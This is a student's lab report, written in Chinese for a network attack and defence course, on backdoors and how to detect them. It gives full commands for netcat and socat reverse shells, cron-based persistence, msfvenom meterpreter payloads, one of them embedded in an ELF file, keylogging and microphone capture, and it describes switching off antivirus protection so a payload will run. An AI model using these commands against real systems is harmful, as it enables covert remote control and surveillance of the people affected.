20212409 2023-2024-2 《网络与系统攻防技术》实验二实验报告

20212409黄人和 2024-04-03 11:33:49

1.实验内容

(1)本周学习内容

  • 更加深入地了解了缓冲区溢出的相关知识。
  • 初步学习了后门的概念等知识,后门最初是系统开发人员为自己留下的通道,现在是攻击者为获取系统控制权和信息的一种方式。比如医疗系统(X光)器械,更新时,厂家会留下后门,远程更新。
  • 学习了ncat、socat等工具的作用,并尝试实践使用。
  • 学习了免杀的意义和一些原理,大概了解是如何让做到的。

(2)实践目标

1.使用netcat获取主机操作Shell,cron启动某项任务(任务自定)

PS:cron是linux下用来周期性的执行某种任务或等待处理某些事件的一个守护进程

2.使用socat获取主机操作Shell, 任务计划启动

3.使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell

4.使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权

5.使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell。

(3)回答问题

Ⅰ例举你能想到的一个后门进入到你系统中的可能方式?

(1)进非正规网站下载软件资源,或者点击不安全链接,比如会有攻击者发带有恶意链接的邮件。

(2)黑客可以通过发送钓鱼邮件或伪装成你信任的人来让你向他们提供访问你的系统所需的信息

(3)恶意软件和病毒可以为攻击者建立后门,从而攻击者可以随时访问你的系统。

Ⅱ例举你知道的后门如何启动起来(win及linux)的方式?

对于win系统,这些后门的具体实现方式如下:

  1. 将后门程序路径添加到Windows注册表中,让Windows系统在启动时自动启动该程序。
  2. 通过编写具有伪装性的服务程序,并将其注册为Windows服务,使得该程序能够在Windows系统中常驻运行。
  3. 通过创建计划任务,将后门程序按计划时间自动启动,而且可以设置计划任务在后台运行。

在Linux系统中,这些后门的具体实现方式如下:

  1. 通过设置定时任务(crontab -e)来自动启动后门程序。可以设置启动的时间和频率,一旦计划任务启动,后门程序也将被启动运行。
  2. 通过将后门程序注册为系统服务,在系统启动时自动启动该程序并运行。
  3. 将后门启动命令添加到系统启动脚本(比如/etc/rc.local)中,使得系统在启动时自动启动后门程序。

ⅢMeterpreter有哪些给你映像深刻的功能?

Meterpreter是一种功能强大的后门程序,具有生成后门程序和进行本地监听的能力。

(1)屏幕截图:Meterpreter的屏幕截图功能可以在不被察觉的情况下,探测目标机器的桌面界面,对系统进行更精准的渗透检测和攻击。
(2)拍照摄像:Meterpreter支持拍照和摄像功能,可以通过调用目标系统的摄像头或摄像机,实现对现场情况的实时监测和记录。

Ⅳ如何发现自己有系统有没有被安装后门?

检测网络连接:使用 Windows 自带的网络命令 netstat -an 来查看所有和本地计算机建立连接的 IP。这个命令能看到所有和本地计算机建立连接的 IP,包含四个部分——proto (连接方式)、local address (本地连接地址)、foreign address (和本地建立连接的地址)、state (当前端口状态)。通过这个命令的详细信息,我们就可以完全监控计算机上的连接,从而达到控制计算机的目的。
禁用不明服务:很多朋友在某天系统重新启动后会发现计算机速度变慢了,这个时候很可能是别人通过入侵你的计算机后给你开放了特别的某种服务,比如 IIS 信息服务等。可以通过 net start 来查看系统中究竟有什么服务在开启,如果发现了不是自己开放的服务,我们就可以有针对性地禁用这个服务了。方法就是直接输入 net start 来查看服务,再用 net stop server 来禁止服务。
查看任务管理器:查看任务管理器中的进程,是否有可疑程序。查看详细信息是否有可疑程序。必要时详情中点击程序右击打开文件所在的位置看看,再右击程序属性看创建日期及修改日期,看是否最新更新过系统或驱动,没有就要注意了。
使用杀毒软件:利用杀毒软件进行全盘扫描,查看是否有后门程序

2.实验过程

ncat(NC)是一种底层的工具,可用于实现基本的TCP和UDP数据收发。它是一款多功能的命令行工具,可用于读取、写入和重定向网络上的数据。它通常被设计为可靠的后端工具,可用于脚本或其他程序的调用。它有两种模式:客户端和服务器端。在服务器端模式下,NC会通过监听指定的端口来等待客户端接入。在客户端模式下,NC会连接到指定的服务器和端口,并启动数据传输。

NC的一些常用参数如下:

  • -l 或 --listen:在服务器端模式下,通过该参数指定NC需要绑定和监听的本地地址和端口,以等待客户端接入。
  • -p 或 --source-port:在客户端模式下,通过该参数指定NC需要使用的本地端口号,该参数可以用于避免随机端口号所带来的不便,也可用于防火墙规则中指定端口使用。
  • -s 或 --source:在客户端模式下,通过该参数指定连接服务器时使用的源IP地址,可以用于解决指定域名无法获取正确源IP地址的问题。
  • -e 或 --exec:接收到的数据作为命令参数传递给该参数所指定的shell命令或可执行程序来执行,使NC变成毒化后的Shell/SSH进程,并可以执行操作系统的各种命令操作,甚至可以拿到 root 权限来完成某些特殊操作。

在cmd中ipconfig,获取以太网IP地址作为主机IP地址:172.16.225.18。

输入ifconfig,获取虚拟机IP地址:192.168.182.128。

 互相ping通。

 

(1)使用netcat获取主机操作Shell,cron启动

输入下列指令,开始监听2409端口
ncat.exe -l -p 2409

虚拟机反弹连接windows并执行shell
nc 192.168.182.128 2409 -e bin/sh

Linux虚拟机运行监听指令nc -l -p 2409,windows主机在文件夹连接输入.\ncat.exe 192.168.182.128 2409,连接2409端口。

 如上图所示,监听后可以互相发送消息。

(2)使用socat获取主机操作Shell, 任务计划启动

  • socat是一种类似于Netcat和nc的工具,也被称为Netcat++或超级Netcat。使用socat可以在两个地址间建立一个pipe,并进行数据的收发和传输。socat比普通的Netcat更强大,可以使用一些可选项进行更多功能的设置和调整。
  • 在Linux系统中,cron是一个用来执行周期性任务或等待某些事件的守护进程。cron进程每分钟都会检查是否有需要执行的任务,并在需要时自动执行该任务。与Windows的计划任务类似,cron可用来定期运行脚本、备份数据、更新日志等任务。使用 crontab 命令可以设置周期性任务和定时任务,以在指定的时间自动执行某些操作。

下面是 crontab 命令中的参数解析:

  • -e:使用文字编辑器打开 crontab,以便能够编写、修改和查看 crontab 中的命令和时间表。
  • -r:删除当前用户的 crontab 文件中的所有任务。
  • -l:列出当前用户的 crontab 文件中的所有任务,并将其打印到终端中,以供查看和分析。

使用命令crontab -e,输入2,进入编辑器,i键开始编辑,在最后加入代码* * * * * /bin/netcat 172.16.225.18 2409 -e /bin/sh表示每隔1分钟定时执行一次反向连接Windows主机的2404端口。crontab:installing new crontab能看到成功加入。也可以通过crontab -l进行查看。

 可以通过crontab -l进行查看。

主机成功获得shell,可以执行指令。

 

Linux获取Windows shell
通过以下流程,控制面板->管理工具->任务计划程序->创建任务->20212409 hrh->触发器选择工作时锁定,同时添加参数tcp-listen:2409 exec:cmd.exe,pty,stderr,新建一个任务计划。

 

在socat目录下进入主机终端,并在终端中输入socat.exe tcp-listen:2409 exec:cmd.exe, pty, stderr,然后打开虚拟机终端,输入socat - tcp:172.168.225.18:2409。这样虚拟机就可获取主机的shell。

 

(3)使用MSF meterpreter生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell

  • Meterpreter是Metasploit Framework(MSF)中的一个扩展模块,用于攻击载荷,通常在漏洞溢出后使用。它能够返回一个控制通道,并为我们提供许多其他的功能。比如,Meterpreter可以使用MSF的反追踪功能、纯内存工作模式、密码哈希值获取、特权提升、跳板攻击等等。Meterpreter 是 MSF 中的一个非常强大的工具,可用于更深入的渗透测试和攻击。
    接下来的步骤,我们需要在虚拟机的命令行中输入如下命令:msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.100.138 LPORT=2404 -f exe > 20212404_backdoor.exe,这个命令使用了Metasploit框架中的msfvenom工具,用于生成一个反向 TCP Meterpreter shell 的 payload。其中,LHOST 和 LPORT 分别用于设置该 payload 的连接地址和端口。
    使用 "-f exe" 参数,可以将生成的 payload 转换为一个可执行文件,方便在目标主机上进行执行。最后,"> 20212404_backdoor.exe" 这个部分则是用于将生成的 payload 保存到以“20212404_backdoor.exe”命名的文件中,以便于后续传输和执行。

 接下来,我们需要使用ncat工具将生成的Meterpreter反向Shell payload传输到目标Windows主机上,并启动该可执行文件,建立Meterpreter会话。
在Windows主机上,打开CMD终端,并进入ncat文件夹下,执行以下指令:.\ncat -lv 2409 >20212409_backdoor.exe。这样Windows主机就可以在2409端口上监听Meterpreter反向Shell payload的到来。

该命令将通过ncat工具将生成的Meterpreter反向Shell payload传输到目标Windows主机上,并将其保存为名为“20212409_backdoor.exe”的可执行文件。

当传输完成后,我们可以在 Windows 主机的当前目录中找到这个可执行文件,通过执行该文件来启动 Meterpreter 会话。

 

然后在虚拟机中,打开终端,并输入msfconsole命令,以进入MSF控制台。

  • 在 MSF 控制台中,
  • 使用use exploit/multi/handler命令,以选择exploit模块中的multi/handler模块。
  • 使用set payload windows/meterpreter/reverse_tcp命令设置连接,以建立针对反向TCP Meterpreter Shell攻击的Meterpreter handler。
  • 使用set LHOST 192.168.182.128命令设置作为监听服务器的虚拟机的 IP 地址。
  • 使用set LPORT 2409命令设置监听端口号。

当反向 TCP 网络连接建立成功后,我们可以在虚拟机中利用MSF Meterpreter工具执行各种命令来执行对目标主机进行远程控制。我们可以执行各种命令,比如:list / cd / pwd / shell_exec / download / upload / execute 等等,都可以在目标主机上执行相关操作。

 

record_mic //可用于控制被攻击主机上的麦克风设备,以进行监控,录制和传输音频流

screenshot //可用于截取被攻击主机的屏幕截图,并将其传输回远程控制端,方便进行进一步研究和分析。

keyscan_start
keyscan_dump
screenshot

提权

 

使用msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.182.128 LPORT=2409 -x /home/kali/Desktop/pwn elf > 2409pwn2命令,生成一个反向TCP Meterpreter shell的payload,并将其嵌入到指定的ELF文件中。具体来说:

  1. "-p linux/x86/meterpreter/reverse_tcp" 参数表示我们要生成的 payload 是一个反向 TCP Meterpreter shell,适用于 Linux 系统。
  2. "LHOST=192.168.182.128 LPORT=2409" 参数表示 Meterpreter 连接使用的 IP 地址和端口。
  3. "-x /home/kali/Desktop/pwn" 参数表示我们要将生成的 payload 嵌入到位于"/home/kali/Desktop/"目录下的名为“pwn”的 ELF 文件中。
  4. 最后,“elf > 2409pwn2” 这个部分则是用于将生成的 Meterpreter payload 嵌入到"pwn1f"文件中,并将其保存为名为"2409pwn2"的文件,以便后续使用。

在运行前面生成的"2409pwn2"文件之前,必须先在虚拟机的终端中对该文件进行授权,使其具有可执行权限。可以使用 chmod +x 2409pwn2命令在终端中赋予该文件执行权限。最终实现远程控制shell。

 

 

 

3.问题及解决方案

问题1:将虚拟机中20212404backdoor.exe传输到主机时,内容没有传输出来。
问题1解决方案:主机中虽然有显示,但是实际为0kb,没有传输成功,直接在虚拟机中拖入文件夹即可。
问题2:运行exploit模块时,无法连接到主机。
问题2解决方案:虚拟机的防火墙没有关闭。

使用ufw指令,可以将kali虚拟机的防火墙关闭。

问题3: 主机上的20212409_backdoor.exe无法运行。点击后被杀毒

解决方案:关闭实时防护和电脑防火墙。

4.学习感悟、思考

在这次实验中,我深入了解了网络安全领域的一些重要概念和技术,包括后门、Netcat、Socat、Cron、MSF Meterpreter、Shellcode等。这些知识和技术让我对网络安全有了更深入的理解,也让我对网络攻防有了更清晰的认识。同时,我深入了解了后门的原理,并使用msfvenom生成恶意代码、使用socat绕过杀软检测。这些技能不仅对于安全人员有用,也是黑客的必备技能。然而,后门是一扇隐蔽的门,方便了入侵者再次进入原先入侵过的系统,对网络安全造成了严重的威胁,同时侵害了个人隐私。因此,我们应该通过技术手段来加强防护,加强网络安全的措施,提高个人网络安全意识,来防范后门等攻击。

...全文
26 回复 打赏 收藏 转发到动态 举报
写回复
用AI写文章
回复
切换为时间正序
请发表友善的回复…
发表回复

73

社区成员

发帖
与我相关
我的任务
社区描述
网络攻防作业
网络安全 高校
社区管理员
  • blackwall0321
加入社区
  • 近7日
  • 近30日
  • 至今
社区公告
暂无公告

试试用AI创作助手写篇文章吧